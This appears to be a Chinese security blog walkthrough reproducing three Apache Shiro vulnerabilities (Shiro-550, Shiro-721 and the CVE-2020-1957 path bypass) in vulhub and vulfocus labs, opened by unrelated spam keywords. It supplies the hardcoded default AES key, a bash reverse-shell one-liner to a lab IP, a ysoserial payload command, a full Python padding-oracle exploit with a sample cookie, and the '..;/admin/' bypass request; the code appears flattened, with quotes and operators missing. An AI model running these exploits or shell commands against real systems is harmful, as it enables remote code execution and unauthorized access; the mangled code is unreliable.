房屋中介网站建设,新app推广去哪里找,建网站自己与租云服务器哪个好,网站设计需求说明书Shiro简介
Apache Shiro是一款开源安全框架#xff0c;提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用#xff0c;同时也能提供健壮的安全性#xff0c;可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。
1、Shiro反序列…Shiro简介
Apache Shiro是一款开源安全框架提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用同时也能提供健壮的安全性可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。
1、Shiro反序列化漏洞CVE-2016-4437Shiro-550
漏洞原理
shiro框架在登录时如果勾选了RememberMe的功能关闭浏览器再次访问时便无需再次登录此时cookie中会增加一个rememberMe字段其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时会按照如下步骤进行解析处理 检索RememberMe Cookie的值 进行Base64解码 进行AES解码 进行反序列化操作
由于在第4步中的调用反序列化时未进行任何过滤导致可以触发Java反序列化漏洞进而在目标机器上执行任意命令。
由于使用了AES加密利用该漏洞需要获取AES的加密密钥在Shiro1.2.4版本之前AES的加密密钥为硬编码其默认密钥的Base64编码后的值为 kPHbIxk5D2deZiIxcaaaA于是就可得到Payload的构造流程
恶意命令--序列化--AES加密--base64编码--发送Cookie目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞但可以通过搜索引擎等方式收集到不同的密钥提高对该漏洞的利用成功率。
影响版本Shiro 1.2.4
环境搭建
使用 vulhub 搭建环境路径
vulhub/shiro/CVE-2016-4437启动容器
docker-compose up -d访问 ip:8080 进入环境 随便输入账号密码勾选上 Remember me抓包 可以看到响应包中出现了字段 set-Cookie: rememberMedeleteMe证明该系统使用了Shiro框架。
漏洞检测
这里介绍两种检测 shiro 漏洞是否存在的工具。
第一种Burp插件
下载链接 提取码j43f 按照上面的流程安装好插件后当 Burp 抓到Shiro的数据包时会自动进行检测当发现存在Shiro默认key时会告警。
第二种shiro_attack 下载链接
当目标系统存在漏洞时检测结果如下图所示
漏洞利用
还是使用上面的工具爆破出利用链 可以执行命令来反弹个shell
bash -c exec bash -i /dev/tcp/192.168.50.131/7777 12、Shiro反序列化漏洞CVE-2019-12422Shiro721
漏洞原理
和上面的 shiro550 差不多只是 shiro721 用到的加密方式是 AES-CBC 加密其中 AES 加密的 key 基本猜不到了是系统随机生成的。但是这种加密模式可以通过 Padding Oracle Attack( Oracle 填充攻击 )攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀然后精心构造 RememberMe Cookie 来实施反序列化攻击。 这里的Oracle不是那个数据库而是一种通过接收特定加密数据 , 解密并验证填充是否正确的方式。 攻击流程
使用任意账户登陆目标网站以获取一个合法的 RememberMe Cookie将获取的值作为POA的前缀加密反序列化的payload来构造恶意RememberMe Cookie将构造好的恶意数据填充到 RememberMe Cookie 字段中并发送
必要条件合法的RememberMe Cookie需认证一次
影响版本Shiro 1.4.2
漏洞环境
使用 vulfocus 靶场的 shiro-721
复现过程
1、先使用正确的账号密码登录后在抓包获取合法 Cookie勾选Remember Me 认证失败则只能得到 rememberMedeleteMe
2、使用Java反序列化工具 ysoserial 生成 Payload
java -jar ysoserial.jar CommonsBeanutils1 ping dkngnv.dnslog.cn payload.classysoserial使用
下载源文件之后通过maven编译生成jar包
Requires Java 1.7 and Maven 3.x
mvn clean package -DskipTests会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar
或者可以直接下载最新的jar包下载链接
3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie
Exp
#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import timeclass PadBuster(PaddingOracle):def __init__(self, **kwargs):super(PadBuster, self).__init__(**kwargs)self.session requests.Session()self.wait kwargs.get(wait, 2.0)def oracle(self, data, **kwargs):somecookie b64encode(b64decode(unquote(sys.argv[2])) data)self.session.cookies[rememberMe] somecookieif self.session.cookies.get(JSESSIONID):del self.session.cookies[JSESSIONID]while 1:try:response self.session.get(sys.argv[1],streamFalse, timeout5, verifyFalse)breakexcept (socket.error, requests.exceptions.RequestException):logging.exception(Retrying request in %.2f seconds...,self.wait)time.sleep(self.wait)continueself.history.append(response)if response.headers.get(Set-Cookie) is None or deleteMe not in response.headers.get(Set-Cookie):logging.debug(No padding exception raised on %r, somecookie)returnraise BadPaddingExceptionif __name__ __main__:import loggingimport sysif not sys.argv[3:]:print Usage: %s url somecookie value payload % (sys.argv[0], )sys.exit(1)logging.basicConfig(levellogging.DEBUG)encrypted_cookie b64decode(unquote(sys.argv[2]))padbuster PadBuster()payload open(sys.argv[3], rb).read()enc padbuster.encrypt(plaintextpayload, block_size16)print(rememberMe cookies:)print(b64encode(enc))shiro_exp.py url cookie value payloadshiro_exp.py http://192.168.50.131:19013 SmfNcW9cXyL6gTts601iAULOw75rLeYT8dPtoZvIksPZg3bzUnsBTQSDAyFCptI6M8TQBoFPARAIC62rFLv8I2Ap4GxwwWjCaVgRyVqUdDLQjYbXw8Um36CpAsy2nLzm0u71k41588fAK9Ql73QU2BRYDKkLpl/iXwCZIsq9I3Vnrhoylt238vEUu0OzXmGRyqMhms1rE4Jk4ZjSZoc8wRqnS0tT8FlqYSiHFQSsMiacxJqZ7iRYOblRG8pMJRWDqCUKJPY84Zx3O/l53gZ0YAPnuplS3vDI334zh5aNHgZuMSCv/0ekRhqEAFr1JwS1kd8hSCvTnkKgkjwY0uymox/9Oc6LlicXjS/arg/1/79wWR7qTjKCJpgENpt7oEhnPcLtmuLRguiiuPRXsUfFV6ORJmXejd9Zx1KweCMD3gz/LGQ76tifjv3wXembJJjdLPhi9g3lOsBcFlypkuUOrghMXvAHvzfHYu39ip/w9PCUdRkD3lbCOAj payload.class此 exp 爆破时间较长建议使用 ysoserial 生成较短的 payload 验证eg: ping 、 touch /tmp/success, etc约 3个多小时可生成正确的 rememberme cookie生成成功后将自动停止运行。 4、使用Evil Rememberme cookie 认证进行反序列化攻击 接收到记录同理也可以执行其它系统命令。 shiro721 也可以使用上面的工具而且速度非常快。
3、Shiro权限绕过漏洞CVE-2020-1957
在 Apache Shiro 1.5.2 以前的版本中在使用Spring动态控制器时攻击者通过构造..;这样的跳转可以绕过Shiro中对目录的权限限制。
漏洞原理
Shiro框架使用拦截器对用户访问权限进行控制常见的有如anon、authc等拦截器。
anon拦截器为匿名拦截器无需登陆即可进行访问一般用于静态资源。authc为登陆拦截器需要登陆才可以访问。
URL路径表达式通常为ANT格式。这个应用中对URL权限的配置如下
Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {DefaultShiroFilterChainDefinition chainDefinition new DefaultShiroFilterChainDefinition();chainDefinition.addPathDefinition(/login.html, authc); // need to accept POSTs from the login formchainDefinition.addPathDefinition(/logout, logout);chainDefinition.addPathDefinition(/admin/**, authc);return chainDefinition;
}Ant格式? 匹配一个字符* 匹配零个或多个字符串** 匹配路径中的零个或多个路径/**可以匹配路径即可以匹配到/user/test/而/*只能匹配到单个或多个字符串即/user/test。shiro会以分号将传入的URI进行截断并将分号以及分号后面的数据进行清空返回分号前面的URI数据从而让/a/b;/c变为/a/b
Spring对于分号的处理方式与Shiro不同Spring会先获取分号的位置并检测分号后是否存在/如果有将/的位置记录在slashIndex变量中并将分号前的数据与/之后的数据进行拼接从而让/a/b;/c变为/a/b/c。返回处理后的requestURI。
由于Spring与Shiro的decodeAndCleanUriString方法不同攻击者可以使用分号构造路径绕过Shiro认证并可以匹配Spring的动态控制器。
即URL请求过程
客户端请求URL: /xxx/..;/admin/ Shrio内部处理得到校验URL为 /xxx/..校验通过。 SpringBoot 处理 /xxx/..;/admin/最终请求 /admin/成功访问了后台请求。
影响版本Shiro 1.5.3
环境搭建
靶场路径
vulhub/shiro/CVE-2020-1957启动容器
docker-compose up -d复现过程
访问 /admin/ 目录 回显302跳转构造恶意请求 /xxx/..;/admin/ 成功绕过。
